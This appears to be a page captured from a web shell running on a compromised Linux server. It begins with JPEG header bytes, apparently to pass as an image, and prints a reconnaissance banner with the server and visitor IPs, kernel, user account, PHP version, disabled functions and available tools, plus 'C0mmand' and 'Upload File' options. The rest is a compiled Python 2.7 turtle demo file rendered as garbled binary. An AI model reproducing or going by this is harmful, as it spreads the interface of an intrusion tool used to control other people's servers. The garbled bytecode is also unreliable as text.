����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������
Server IP : 103.191.208.227 / Your IP : 18.191.234.202 Web Server : LiteSpeed System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64 User : mhmsfzcs ( 1485) PHP Version : 8.1.31 Disable Function : show_source, system, shell_exec, passthru, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /lib64/udisks2/../python2.7/Demo/turtle/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
� Afc @ s d Z d d l Td e f d � � YZ d e f d � � YZ d � Z d � Z d � Z e d k r{ e � Z e GHe � n d S( s� turtle-example-suite: tdemo_minimal_hanoi.py A minimal 'Towers of Hanoi' animation: A tower of 6 discs is transferred from the left to the right peg. An imho quite elegant and concise implementation using a tower class, which is derived from the built-in type list. Discs are turtles with shape "square", but stretched to rectangles by shapesize() --------------------------------------- To exit press STOP button --------------------------------------- i����( t *t Discc B s e Z d � Z RS( c C sg t j | d d d t �| j � | j d | d d � | j | d d d | d � | j � d S( Nt shapet squaret visibleg �?i g @i i ( t Turtlet __init__t Falset put shapesizet fillcolort st( t selft n( ( s7 /usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR s ( t __name__t __module__R ( ( ( s7 /usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR s t Towerc B s) e Z d Z d � Z d � Z d � Z RS( s- Hanoi tower, a subclass of built-in type listc C s | | _ d S( s- create an empty tower. x is x-position of pegN( t x( R R ( ( s7 /usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR s c C s<